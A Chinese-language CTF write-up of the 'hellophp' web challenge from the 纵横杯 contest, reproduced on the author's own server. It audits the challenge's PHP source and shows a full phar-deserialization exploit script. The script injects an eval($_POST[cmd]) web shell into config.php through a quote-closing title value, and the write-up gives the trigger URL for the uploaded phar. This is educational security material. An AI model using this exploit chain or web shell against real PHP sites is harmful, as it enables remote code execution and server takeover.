前言
纵横杯已经过去很长一段时间了,当时刚好赶上学校的考试复习,只抽空看了一下第一题sql注入的,没写出来,刚好github上面有纵横杯web题目源码,于是在自己的VPS上搭建了环境进行复现。
hellophp
这题我是直接看的源码来分析的,比赛时候是可以通过扫描器,扫到www.zip的,然后就是代码审计。
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php error_reporting(0); $title='XXX信息管理系统'; $commnet='XXXCMS是一种可以综合管理网站上各种栏目的通用工具,新闻、产品、文档、下载、音乐、教学视频……,通过模版技术,他们都在同一套系统里完成更新和维护。XXXCMS 是目前国内最强大、最稳定的中小型门户网站建设解决方案之一,基于 PHP MySQL 的技术开发,全部源码开放。'; $logo_url='./static/default.jpg'; $admin_user='admin'; $admin_pass='admin888'; $footer=<<<EOD <script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.0/dist/umd/popper.min.js" ></script> <script src="https://cdn.jsdelivr.net/npm/bootstrap@4.5.0/dist/js/bootstrap.min.js"></script> </body> </html> EOD;
|
config.php文件里面有一些默认的参数,title、comment、logo_url,同时也给了我们管理员账号密码,我们在login.php上直接登陆,跳转到admin.php 我们来看一下 class.php这个类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| <?php include('config.php'); class Config{ public $title; public $comment; public $logo_url; public function __construct() { global $title; global $comment; global $logo_url; $this->title= $title; $this->comment = $comment; $this->logo_url = $logo_url; } public function upload_logo(){ if(!empty($_FILES)){ $path='./static/'.md5(time()).'.jpg'; move_uploaded_file($_FILES["file"]["tmp_name"],'./static/'.md5(time()).'.jpg'); } } public function update_title($title,$comment){ } public function __destruct(){ $file = file_get_contents(pathinfo($_SERVER['SCRIPT_FILENAME'])['dirname'].'/config.php'); $file = preg_replace('/\$title=\'.*?\';/', "\$title='$this->title';", $file); $file = preg_replace('/\$comment=\'.*?\';/', "\$commnet='$this->comment';", $file); file_put_contents(pathinfo($_SERVER['SCRIPT_FILENAME'])['dirname'].'/config.php', $file); } } $config=new Config; ?>
|
可以看到这里调用 destruct函数是可以往 config.php里面写东西的,一开始会觉得很奇怪,就是获取config.php的内容,然后又往里面写它自己的内容,而看上去config.php 里面的东西似乎被写死了,但是仔细看,我们可以发现 :
1 2 3
| global $title; global $comment; global $logo_url;
|
没错,这三个变量被定义成了全局变量,所以后面我们修改的值是可以造成覆盖的,现在的问题转换为怎么修改 这三个变量的值,很容易想到反序列化,但是没有反序列化函数啊,这里就想到使用phar反序列化 在 admin.php 上是存在上传点的,可以传我们构造的文件。怎么触发呢?我们可以看到index.php 文件中:if(isset($_GET['img'])&&file_exists($_GET['img'])) 这里有一个 file_exists 函数是支持phar的,所以完整利用链就形成了。
注意几个细节:
1 2 3 4 5 6 7
| public function upload_logo() { if(!empty($_FILES)) { $path='./static/'.md5(time()).'.jpg'; move_uploaded_file($_FILES["file"]["tmp_name"],'./static/'.md5(time()).'.jpg'); } }
|
上传文件的路径是需要我们自己推出来的,无回显。上传之后我们可以通过网络响应头找到时间,然后在线转换一下就行了

在线时间转换网站:https://www.unixtimestamp.com/index.php

另外一个细节:
我们构造的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php class Config { public $title='aaaaa\';?><?php eval($_POST[cmd]);?>;\''; public $comment; public $logo_url; } $a = new Config(); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($a); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>
|
注意到 构造title参数的时候,这里是用了引号的,目的是为了闭合引号。不然就会当做普通的字符串了,不会执行。
最后的payload:
在admin.php上传点,上传我们构造的phar.phar文件,算出路径,然后在index.php文件处触发pharhttp://106.54.90.137:2342/index.php?img=phar://static/bfc0e9b2a3070c836504972eb01c623c.jpg
于是马儿就被写入进去了,就可以愉快的玩耍了~